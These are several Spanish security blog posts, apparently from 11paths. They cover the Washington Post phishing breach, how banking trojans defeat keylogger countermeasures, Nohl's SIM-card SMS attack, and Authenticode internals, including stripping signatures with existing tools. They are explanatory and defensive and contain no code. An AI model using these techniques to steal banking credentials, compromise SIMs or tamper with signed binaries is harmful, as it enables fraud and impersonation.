llevaba a un phishing normal y corriente ( no es "sofisticado" como lo califican desde el Washington Post), donde se falsifica a través de un dominio de tercer nivel (site88.com) la dirección del periódico. Fuente: http://krebsonsecurity.com/2013/08/washington-post-site-hacked-after-successful-phishing-campaign/ El dominio real que se pretende suplantar se puede apreciar en esta otra imagen: Aunque no se ha dado a conocer el contenido del correo enviado en primera instancia que invitaba a visitar el enlace, es más que probable que también falsificara el dominio de procedencia, haciendo creer que venían de otros compañeros. Se sabe que se enviaron en una segunda ronda, correos desde una cuenta ya robada. Aquí los errores son claros y variados. Washington Post (como la mayoría) no utiliza DKIM y ni siquiera es muy restrictivo a la hora de usar SPF (no bloquea por defecto, sino que deja la elección al cliente). ... puede que técnicamente se pudiese haber evitado que el primer correo llegara a los buzones de los usuarios. Al menos esa primera ronda que proviene de un tercero (una vez que una cuenta es robada, no hay forma de evitar que el atacante la use para enviar nuevos correos aún más creíbles). En todo caso, una vez el correo está en el buzón de entrada, quizás lo más importante es que los administradores tampoco han "entrenado" a sus usuarios para no caer en este tipo de estafas simples (correos que redirigen a enlaces que piden credenciales) aunque parezcan provenir de compañeros. 3) Ya con la web falsa mostrada en el navegador, la víctima no comprueba que el acceso no se hace cifrado, ni por supuesto, el certificado. El SSL, socialmente roto, es otra de las grandes asignaturas pendientes para los usuarios. Entrenarlos y ayudarles en este sentido es algo muy necesario. 4) Con la contraseña del correo de la víctima en las manos, el atacante probablemente, ya podría haber publicado en la web oficial como si de un editor se tratara. Sin embargo, la versión oficial salta (sin relación aparente con el phishing perpetrado previamente) a un problema de un tercero para justificar el ataque a su web. Parece que el phishing se utilizó solo para acceder al Twitter de algunos editores y el ataque a la web es en realidad un acto "complementario" al ataque. Washington Post utiliza Outbrain, una red de publicidad que se encarga de sugerir al lector otros temas y artículos en los que puede estar interesado. Outbrain reconoce un problema de seguridad, que fue comprometida, y que eso explica por qué consiguieron atacar a la CNN, y la revista Time "de un solo golpe" (también usan Outbrain). Por tanto (aunque en un principio no quedaba claro) parece que no hubo relación entre el problema de seguridad en Outbrain que condujo a la redirección en la web y el robo de credenciales de ciertos redactores o editores. En otros escenarios, lo habitual hubiese sido (simplificando): Se podría haber utilizado algún sistema de "recordar contraseña" a través del correo ya robado para obtener el acceso tanto al Twitter de sus editores como quizás a algún componente de la web manejada por los editores. Nunca se debe devolver el dato en texto claro en un correo, sino que se debe obligar a la generación de una contraseña nueva, y que este hecho sea notificado inmediatamente al administrador. El usuario podría utilizar la misma contraseña para el correo que para editar en la página. Esto debe estar prohibido por políticas. El atacante, haciéndose pasar por el legítimo dueño de la cuenta de correo, podría haber solicitado acceso especial para publicar en la web (ingeniería social). 5) Finalmente, es probable que atacante escalara privilegios o eludiese restricciones para poder controlar artículos en la web gracias al fallo de seguridad en Outbrain. En cualquier caso, una auditoría previa interna de su web, tipo "caja blanca" podría haber facilitado el descubrir lo antes posible la vulnerabilidad y solucionar previamente el fallo. Conclusiones Puede resultar muy aventurado deducir cómo ocurrió un ataque sin manejar los datos reales, sin embargo, esta estructura básica de errores en cadena expuesta con el caso del Washington Post de fondo, resulta el escenario más habitual en la mayoría de los ataques. El phishing poco sofisticado sigue siendo una herramienta eficaz y muy usada para cumplir los objetivos de los atacantes. El usuario, su desconocimiento, las tecnologías que no se entienden y la falta de políticas estrictas por miedo a incomodar al propio usuario, son el cóctel perfecto para que cualquiera que sepa clonar una página, pueda conseguir unas credenciales valiosas para realizar otros ataques más dañinos. Sergio de los Santos ssantos@11paths.com

Los keyloggers o registradores de teclas han supuesto un problema de seguridad desde el principio de los tiempos. Todavía son usados y su capacidad para capturar contraseñas sigue siendo muy considerada por atacantes. Más aún cuando los métodos de pago y la banca online son tan populares (y siguen protegidos fundamentalmente por contraseñas y sus variantes). A pesar de su veteranía y de los distintos métodos aplicados para combatir el malware que recoge lo escrito en el teclado, ¿siguen suponiendo un problema? ¿Los hemos superado? Doble canal Dando por hecho que el malware campando a sus anchas en un sistema infectado tiene toda la ventaja, las entidades de pago necesitaban un doble canal de autenticación. Los OTP son caros, pero el móvil es ubicuo. Este método se supone muy seguro por definición: habría que infectar los dos dispositivos para que el atacante pudiese realmente conseguir información valiosa. El problema es que Android en estos momentos permite la instalación de cualquier aplicación y, por tanto, resulta sencillo de infectar. El usuario, creyendo que necesita una aplicación para autenticarse, instala también un troyano en su teléfono Android. El atacante registra la información del sistema y la del móvil. Ya dispone de todo lo necesario para robar. Troyano para Android que reenvía los SMS enviados por la banca online ¿Y por qué no la red? Tras el breve (e incompleto) resumen descrito, podemos centrarnos en el tráfico de red, un punto interesante. Todo lo que ocurre en pantalla (las pulsaciones del teclado virtual, la introducción de la contraseña con el portapapeles...) al final acaba viajando por la red. Podríamos pensar que es un asunto ya superado, puesto que ¿qué banco no utiliza ya cifrado punto a punto con SSL/TLS que impide el acceso a la información? Pero cuando el malware controla en el sistema operativo y no al revés, tiene acceso a los datos de red a nivel de navegador, antes y después de que sean cifrados. Cualquier troyano medianamente avanzado hoy en día controla, almacena y envía al atacante el tráfico que viaja hacia el banco. Toda labor de ofuscación en la pantalla queda en nada si luego es enviado en texto claro por la red. ¿Cómo se combate esto? Algunos programadores ofuscan la información. Suelen utilizar funciones JavaScript para "ocultar" la información antes de enviarla a la página que debe validarla. El atacante obtendrá los datos codificados si esnifa la red. Pero como toda seguridad por oscuridad, solo tiene que estudiar el JavaScript de la página y revertirlo para comprobar cómo se ha ofuscado. No es realmente una solución definitiva. Otros cifran la información que viajará a su vez cifrada por SSL/TLS. Pero hay formas y formas de hacerlo. Cifrar la información con un valor fijo, aunque se utilicen de algoritmos estándar, sigue siendo seguridad por oscuridad, con lo que no es realmente eficaz. La clave de cifrado de la contraseña debe ser variable. Se debe implementar un "desafío-respuesta" entre la web que autentica y el cliente. Por ejemplo, el banco envía una contraseña variable en cada sesión con la que se cifrará (con AES, o DES...) la contraseña introducida por el usuario. Todo esto viajará por la red. Pero entramos en uno de los problemas más antiguos del juego del cifrado: ¿cómo envía el banco a través de un medio inseguro (y de forma cómoda para el usuario) la contraseña "primigenia" con la que cifrar las otras credenciales? Si el atacante está en la red y puede ver el tráfico en texto claro, también podría llegar a conocer la primera contraseña enviada, por muy variable o ofuscada que esté. Tráfico POST hacia una banca online que envía la contraseña sin ofuscar ni cifrar Actualmente muchas entidades optan por enviarla en texto claro en el hipotético caso de que implementen un sistema de este tipo . Pero por ahora (y solo por ahora) estas entidades están relativamente a salvo de los troyanos bancarios tradicionales... por una razón curiosa. El malware tradicional espía la red, pero no puede espiarlo "todo". Ante la cantidad de información que recogen y el número de infectados, deben saber descartar lo que no les vaya a suponer un beneficio inmediato. Así que suelen activarse para recoger la información del tráfico de páginas cifradas (sea cual sea, si va por SSL, es que viaja información sensible) y de formularios en general que estén marcados como "password". Pero... incluso así no suelen recogerlo-robarlo todo. Deben descartar también el tráfico cifrado entrante. Al malware no le interesa robar el tráfico que viene hacia el sistema del usuario, solo el saliente, el que contiene los POSTS con los datos. Así que los ladrones no suelen cazar una hipotética clave "primigenia" con la que cifrar la información y que vendría definida por el banco con el tráfico entrante, por simple economización de recursos y por no incrementar el volumen de datos robados. El banco, por ahora, puede respirar un poco más tranquilo... a menos, eso sí, que los atacantes estudien específicamente estas características y decidan incluirlo en el código del malware. En resumen, en un sistema infectado, toda medida puede ayudar a mitigar (y solo mitigar) el malware más genérico, y esto convierte a la guerra contra los keyloggers y "sniffers" en u na huída hacia adelante en el que solo se está a salvo mientras la contramedida tomada no sea tan popular que los atacantes decidan incluir un ataque específico de serie en su arsenal. ¿Está perdida la guerra? Solo sabemos que se necesita un enfoque de autenticación muy diferente al actual para evitar que tenga éxito. * Keyloggers y protecciones de credenciales en banca online (I) Sergio de los Santos ssantos@11paths.com @ssantosv

Otra interesante presentación en la Black Hat de Las Vegas será la de Karsten Nohl, que demostrará cómo se puede tener total acceso a una tarjeta SIM de varios operados solamente enviando un mensaje SMS y aprovechando fallos de seguridad Java en la implementación del software de la tarjeta SIM. Las tarjetas SIM pueden ser actualizadas por la operadora a través de SMS. Estos son mensajes cifrados e "invisibles" que interpreta la tarjeta y sirven para enviar órdenes a Java Card, que el software que suelen ejecutar las SIM. Una cadena de errores permite obtener total acceso a los dispositivos: El atacante envía un SMS cifrado falsificando el número de la operadora. El teléfono lo interpreta como real e intenta descifrarlo. La falta de autenticación de remitente en los SMS es algo que ya ha traído algún que otro problema a muchos usuarios. La tarjeta, como no puede descifrar el mensaje, devuelve por SMS un código de error al atacante, cifrado. Este código devuelto solo se da en un cuarto de los casos de tarjetas estudiadas. El resto ignora el mensaje falso. Aunque podían usar AES, o TripleDES, este mensaje cifrado suele estarlo con DES de 56 bits. Algo que puede romper un ordenador corriente hoy en día en cuestión de pocos minutos con ayuda de tablas rainbow. Con esta información, el atacante ya puede hacerse pasar totalmente por la operadora y enviar mensajes que la tarjeta interpretará como actualizaciones. El atacante envía entonces instrucciones para que la tarjeta descargue applets con funcionalidades que la Java Card interpretará. Los applets, restringidos en la máquina virtual, ya permiten bastantes acciones en la tarjeta como para que sea preocupante su ejecución. Fuente: http://www.oracle.com/technetwork/java/javacard/javacard1-139251.html Pero obviamente no acaba aquí. También han encontrado que la implementación de la sandbox en la máquina virtual es deficiente en al menos dos grandes fabricantes de SIM, lo que permite salirse y tomar total control del software que controla la tarjeta. Esto significa, "rootkitear" la SIM en sus entrañas, independientemente del teléfono. En resumen, gracias a esta combinación de errores (básicos y evitables), parece que lo más grave es que ( dadas estas circunstancias que dependen de la operadora y el fabricante de la tarjeta) se podría clonar una tarjeta en remoto en cuestión de minutos y solo sabiendo su número, puesto que un atacante tendría capacidad para acceder a toda su información. Sin embargo, a pesar de la gravedad del problema, no todas las tarjetas son vulnerables. Nohl (que ya ha destapado otros problemas en las tarjetas SIM en años anteriores) afirma que de 1000 tarjetas comprobadas en dos años, solo una de cada cuatro es vulnerable. También concluye que es poco probable que los atacantes reales estén aprovechando este fallo. Sabremos más detalles en la Black Hat.

Los keyloggers o registradores de teclas han supuesto un problema de seguridad desde el principio de los tiempos. Todavía son usados y su capacidad para capturar contraseñas sigue siendo muy considerada por atacantes. Más aún cuando los métodos de pago y la banca online son tan populares (y siguen protegidos fundamentalmente por contraseñas y sus variantes). A pesar de su veteranía y de los distintos métodos aplicados para combatir el malware que recoge lo escrito en el teclado, ¿siguen suponiendo un problema? ¿Los hemos superado? Los keyloggers funcionaron en los 90 de una forma sencilla: interceptaban las funciones del sistema operativo que recogían las pulsaciones de teclas. Las escribían en un fichero, se imprimían en pantalla y se le enviaban al atacante. Fueron tremendamente populares y consiguieron robar contraseñas de correo y otros servicios a pesar del cifrado web. A principios de la década pasada, con la explosión de la banca online hubo que combatirlos con ideas más ingeniosas. Teclados virtuales Teclado virtual que cambia de posición y reordena las letras Fue una de las primeras reacciones de la banca contra los keyloggers. Si recogían las pulsaciones de teclado, qué mejor que evitar que el usuario tecleara. Pulsaría sobre una animación en pantalla. Esta medida es ahora casi un estándar en la banca online. Pero pronto supieron eludirla. El malware comenzó a capturar pequeños trozos de pantalla como imágenes alrededor del ratón cuando se hacía "click", que se almacenaban en orden temporal y permitían al atacante saber la secuencia de tecleo en el teclado virtual. La contramedida de los programadores (en aquellos tiempos, bancos brasileños y rusos) fue ocultar las teclas en cuanto se pulsaban. El número era sustituido por un asterisco, y la secuencia que obtendría el atacante entonces sería una serie de imágenes con teclas sin información útil. ¿La reacción de los atacantes? Grabar en vídeo el m ov imien to de ratón. Secuencia de imágenes grabada por un troyano ante un teclado virtual Contraseñas incompletas Algunos bancos decidieron entonces que con solo dar una parte de la contraseña al banco, bastaba. El atacante no podría obtener la contraseña por completo. Esta medida fue también invalidada. Bien porque el malware podría simplemente esperar varias conexiones hasta completar la contraseña, bien porque podía modificar la página legítima para que realmente pidiera toda la secuencia de números o letras... o coordenadas. Todavía hoy es habitual que phishing y troyanos pidan toda la tarjeta completa. El usuario medio piensa que, a más coordenadas (más contraseñas), más seguridad. Troyano que modifica una web de banca online para pedir toda la contraseña en vez de solo una parte Gestores de contraseñas Para los usuarios más avanzados que se manejan con gran cantidad de contraseñas, los gestores permiten almacenarlas todas de forma segura. Cuando se va a utilizar una contraseña, se hace doble click sobre la deseada y esta queda en el portapapeles esperando a ser pegada en el campo correcto. Pero contra los gestores de contraseñas el malware también sabe qué hacer. Obviamente, caza el contenido del "clipboard" cuando el usuario visita el banco. Esto es menos habitual, pero ocurre. Pero el juego no acabó aquí. Existían otros vectores de ataque que aprovechar y otras contramedidas que implementar que veremos en la siguiente entrega. * Keyloggers y protecciones de credenciales en banca online (y II) Sergio de los Santos ssantos@11paths.com @ssantosv

En esta segunda parte seguiremos viendo cómo se firma realmente un archivo, y la (poca) documentación existente. También comprobaremos que si bien se especifica que sólo se puede usar el algoritmo SHA1 para firmar, no es difícil encontrar ficheros firmados con MD5 e incluso SHA256. ¿Cómo calcular el hash Aunthenticode? Se supone que el hash Authenticode no es más que un SHA-1 selectivo sobre algunas partes del binario. Está documentado (de aquella manera) por Microsoft, sin embargo no hay muchas herramientas que lo calculen y muestren. Existen varias formas de saber el hash Authenticode de un binario. Una fórmula sencilla es mirándolo en el propio código, puesto que está incrustado. Normalmente en el offset 0x85 de la dirección virtual relativa marcada por Security Directory (en la cabecera). Por ejemplo el programa PE Explorer lo toma de ahí para mostrarlo. Por supuesto es modificable... a costa de la validez de la firma. Tomamos de nuevo el ejemplo del binario de Opera. Mirando las cabeceras y haciendo una pequeña suma, sacamos su hash SHA1 Autenticode. El SHA1 Authenticode incrustado en una dirección relativa y cómo calcularlo Podemos confirmar que es correcto con otros programas como PE Explorer: PE Explorer muestra el hash correctamente. Es más, lo toma directamente del binario de la dirección anteriormente descrita. También se puede calcular con cathash.exe. Esta pequeña herramienta calcula tanto el hash "normal" como el SHA1 de Authenticode especial (sin algunas cabeceras). Esta herramienta muestra los dos hashes, el "real" y el de Authenticode Para implementarlo nosotros mismos, deberíamos usar la función CryptCATAdminCalcHashFromFileHandle de la DLL Wintrust.dll, que devuelve ese SHA1 especial. Pero existe también CryptCATAdminCalcHashFromFileHandle2, que permite especificar qué hash usar: SHA1 o SHA2 (256 bits). Esta función solo es válida en Windows 8 y 2012. Existen por tanto programas ya firmados con SHA2 y lo veremos en las siguiente entrada. Incluso con MD5. El problema con este último algoritmo es que ya se han hecho experimentos para intercambiar la firma entre binarios con colisiones. ¿Se puede "desfirmar" un binario? Para estos experimentos con colisiones, es necesario "arrancar" la firma de un binario. ¿Se puede eliminar la firma electrónica? Sí. Se han desarrollado varias herramientas sencillas que permiten "desfirmar" un binario. Por ejemplo, delcert.exe. O un script en Python (solo funciona con la rama 2.7) de Didier Stevens mucho más completo que permite otras acciones sobre los ficheros. Eliminar la firma, extraerla, ponérsela a otro binario... etc. El resultado de eliminar una firma no suele ser exactamente igual al fichero original firmado, por una sencilla razón. Estas herramientas que eliminan certificados también machacan las cabeceras. Por ejemplo, ponen a cero la cabecera "Security Directory RVA" (dirección virtual relativa) y elimina el resto de bytes (unos 4k). Dejan el ejecutable "útil" pero no coincidirá exactamente byte por byte con el original. Lo que sí seguirá coincidiendo, lógicamente, es el hash Autenticode. En la siguiente imagen se observa cómo he arrancado el certificado a Opera, (y lo he convertido en Opera15unsig.exe) con la herramienta de Didier: Se elimina la firma con disitool y luego se calcula el hash Authenticode del original y del sin firmar. Coinciden. Al pasarle luego la herramienta cathash tanto al original como al nuevo, el hash oficial cambia, pero el hash SHA1 usado para Authenticode, no. En la siguiente entrega veremos cuántos ficheros firmados con MD5, SHA1 y SHA256 hay en un Windows XP, 7 y 8, gracias a un pequeño programa que hemos desarrollado. CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (y III) 3 de noviembre de 2013 CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (I) 9 de julio de 2013

Los robos de certificados para firmar ejecutables son muy habituales en los últimos años. Opera, Adobe... incluso la propia Microsoft han sufrido este problema. Certificar un ejecutable es importante para darle veracidad. Si además se consigue certificar robando la identidad a otro, la suplantación de identidad es casi perfecta. Authenticode es la tecnología de Microsoft que comprueba la validez de las firmas de los ficheros. Vamos a estudiarla un poco en profundidad, deteniéndonos en sus curiosidades. Authenticode es un método integrado en Windows para comprobar la firma de un ejecutable: su integridad y origen. Usa criptografía asimétrica y simétrica estándar, además de certificados. Los binarios son comprobados al vuelo en cuanto se ejecutan en cualquier Windows actual. En Vista además se introdujo un código de colores para dar visualmente una mejor impresión de quién firmaba los archivos y su confianza. Pero todo esto ya está muy visto. Veamos otras curiosidades. Esquema oficial de Authenticode sacado de sus especificaciones Utiliza SHA-1... pero no del todo Cuando se firma criptográficamente un flujo de datos, normalmente lo que se hace es calcular su hash y firmar el resultado, por simple cuestión de eficiencia. En Authenticode el hash utilizado es habitualmente SHA-1, aunque soporta todavía MD5. En las especificaciones se puede leer: "This algorithm [MD5] is supported only for backwards-compatibility requirements and should not be used to sign new content." Pero nada de esto es totalmente cierto. Como veremos en la siguiente entrega, no es raro encontrar ficheros en los que se usa MD5 para firmar su contenido. También hay que aclarar que el SHA-1 calculado no se realiza sobre todos los bits del archivo original, sino que se omiten algunas partes en la cabecera porque luego, una vez firmado, cambiarán. Así que el hash original del fichero antes de la firma no es el hash firmado por Authenticode. Según la documentación oficial: "Hashing the PE Header, omitting the file's checksum and the Certificate Table entry in Optional Header Data Directories." Demostrarlo es fácil. Por ejemplo según la documentación el checksum de la cabecera de un archivo PE no se usa para calcular el hash que será firmado y comprobado por Autenticode. Si tomamos como ejemplo la última versión del ejecutable de Opera firmado, podemos modificar ese pequeño trozo de binario y seguirá siendo válido a ojos de Windows una vez ejecutado. Se puede realizar la prueba de forma sencilla. Sobre el fichero original, se modifica el checksum con cualquier programa que permita la modificación de cabeceras. El resultado no altera la firma Authenticode. Se modifica el valor del checksum en la cabecera con cualquier programa: La firma sigue siendo válida, puesto que se omite ese checksum al calcular el hash. Sin embargo (y evidentemente), cualquier cambio en el binario en sí (por ejemplo la cabecera DOS), hará que se invalide la firma. Ante cualquier cambio en el binario, lógicamente, la firma queda invalidada. En la siguiente parte veremos cómo calcular específicamente el hash SHA-1 "especial" y otras curiosidades. CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (II) 10 de julio de 2013 CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (y III) 3 de noviembre de 2013